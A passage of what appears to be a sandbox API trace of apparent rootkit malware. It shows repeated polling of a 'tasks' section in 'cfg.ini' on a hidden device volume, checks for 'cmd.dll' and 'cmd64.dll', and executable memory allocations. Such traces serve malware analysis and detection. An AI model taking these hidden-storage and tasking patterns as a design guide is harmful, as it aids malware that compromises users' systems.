ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.061] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.061] KeLeaveCriticalRegion () [0123.061] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.061] KeEnterCriticalRegion () [0123.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.061] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.061] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9c20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.061] KeLeaveCriticalRegion () [0123.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.061] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.061] KeEnterCriticalRegion () [0123.061] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.061] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.061] KeLeaveCriticalRegion () [0123.061] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.061] ReleaseMutex (hMutex=0xf0) returned 1 [0123.062] Sleep (dwMilliseconds=0x927c0) [0123.075] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.076] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.076] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.076] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.076] KeEnterCriticalRegion () [0123.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.076] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.076] IdePortDispatch () returned 0x103 [0123.076] KeWaitForMutexObject () returned 0x0 [0123.076] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.076] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.076] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.076] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.076] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.076] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9a10 [0123.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.076] KeLeaveCriticalRegion () [0123.076] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.076] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.076] KeEnterCriticalRegion () [0123.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.076] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.076] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.076] KeLeaveCriticalRegion () [0123.076] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.076] KeEnterCriticalRegion () [0123.076] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.076] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.076] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.076] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.076] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.076] IdePortDispatch () returned 0x103 [0123.076] KeWaitForMutexObject () returned 0x0 [0123.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.077] KeLeaveCriticalRegion () [0123.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.077] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.077] KeEnterCriticalRegion () [0123.077] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.077] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002da6000 [0123.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.077] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.077] IdePortDispatch () returned 0x103 [0123.077] KeWaitForMutexObject () returned 0x0 [0123.077] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.077] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.077] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.077] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.077] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.077] IdePortDispatch () returned 0x103 [0123.077] KeWaitForMutexObject () returned 0x0 [0123.077] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.077] KeLeaveCriticalRegion () [0123.077] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.078] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.078] KeEnterCriticalRegion () [0123.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.078] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.078] KeLeaveCriticalRegion () [0123.078] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.078] KeEnterCriticalRegion () [0123.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.078] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.078] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.078] KeLeaveCriticalRegion () [0123.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.078] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.078] KeEnterCriticalRegion () [0123.078] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.078] ExFreePoolWithTag (P=0xfffffa8003be9a10, Tag=0x0) [0123.078] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.078] KeLeaveCriticalRegion () [0123.078] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.078] ReleaseMutex (hMutex=0xf0) returned 1 [0123.078] Sleep (dwMilliseconds=0x927c0) [0123.092] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.092] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.092] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.092] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.092] KeEnterCriticalRegion () [0123.092] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.092] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.092] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.092] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.092] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.092] IdePortDispatch () returned 0x103 [0123.092] KeWaitForMutexObject () returned 0x0 [0123.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.093] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.093] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.093] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.093] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.093] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6200 [0123.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.093] KeLeaveCriticalRegion () [0123.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.093] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.093] KeEnterCriticalRegion () [0123.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.093] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.093] KeLeaveCriticalRegion () [0123.093] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.093] KeEnterCriticalRegion () [0123.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.093] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.093] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.093] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.093] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.093] IdePortDispatch () returned 0x103 [0123.093] KeWaitForMutexObject () returned 0x0 [0123.093] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.093] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.093] KeLeaveCriticalRegion () [0123.093] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.093] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.093] KeEnterCriticalRegion () [0123.093] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.093] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dab000 [0123.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.094] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.094] IdePortDispatch () returned 0x103 [0123.094] KeWaitForMutexObject () returned 0x0 [0123.094] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.094] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.094] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.094] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.094] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.094] IdePortDispatch () returned 0x103 [0123.094] KeWaitForMutexObject () returned 0x0 [0123.094] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.094] KeLeaveCriticalRegion () [0123.094] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.095] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.095] KeEnterCriticalRegion () [0123.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] KeLeaveCriticalRegion () [0123.095] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.095] KeEnterCriticalRegion () [0123.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.095] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be2e10, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] KeLeaveCriticalRegion () [0123.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.095] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.095] KeEnterCriticalRegion () [0123.095] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] ExFreePoolWithTag (P=0xfffffa8003bc6200, Tag=0x0) [0123.095] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.095] KeLeaveCriticalRegion () [0123.095] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.095] ReleaseMutex (hMutex=0xf0) returned 1 [0123.095] Sleep (dwMilliseconds=0x927c0) [0123.110] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.110] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.110] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.110] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.110] KeEnterCriticalRegion () [0123.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.110] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.110] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.110] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.110] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.110] IdePortDispatch () returned 0x103 [0123.110] KeWaitForMutexObject () returned 0x0 [0123.110] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.110] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.110] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.110] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.110] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.110] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9810 [0123.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.110] KeLeaveCriticalRegion () [0123.110] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.110] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.110] KeEnterCriticalRegion () [0123.110] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.110] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.110] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.110] KeLeaveCriticalRegion () [0123.111] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.111] KeEnterCriticalRegion () [0123.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.111] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.111] IdePortDispatch () returned 0x103 [0123.111] KeWaitForMutexObject () returned 0x0 [0123.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.111] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.111] KeLeaveCriticalRegion () [0123.111] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.111] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.111] KeEnterCriticalRegion () [0123.111] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.111] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002db0000 [0123.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.111] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.111] IdePortDispatch () returned 0x103 [0123.111] KeWaitForMutexObject () returned 0x0 [0123.111] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.111] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.111] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.111] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.112] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.112] IdePortDispatch () returned 0x103 [0123.112] KeWaitForMutexObject () returned 0x0 [0123.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.112] KeLeaveCriticalRegion () [0123.112] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.112] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.112] KeEnterCriticalRegion () [0123.112] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.112] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.112] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.112] KeLeaveCriticalRegion () [0123.113] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.113] KeEnterCriticalRegion () [0123.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.113] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.113] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be98d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.113] KeLeaveCriticalRegion () [0123.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.113] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.113] KeEnterCriticalRegion () [0123.113] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.113] ExFreePoolWithTag (P=0xfffffa8003be9810, Tag=0x0) [0123.113] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.113] KeLeaveCriticalRegion () [0123.113] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.113] ReleaseMutex (hMutex=0xf0) returned 1 [0123.113] Sleep (dwMilliseconds=0x927c0) [0123.127] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.127] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.127] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.127] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: 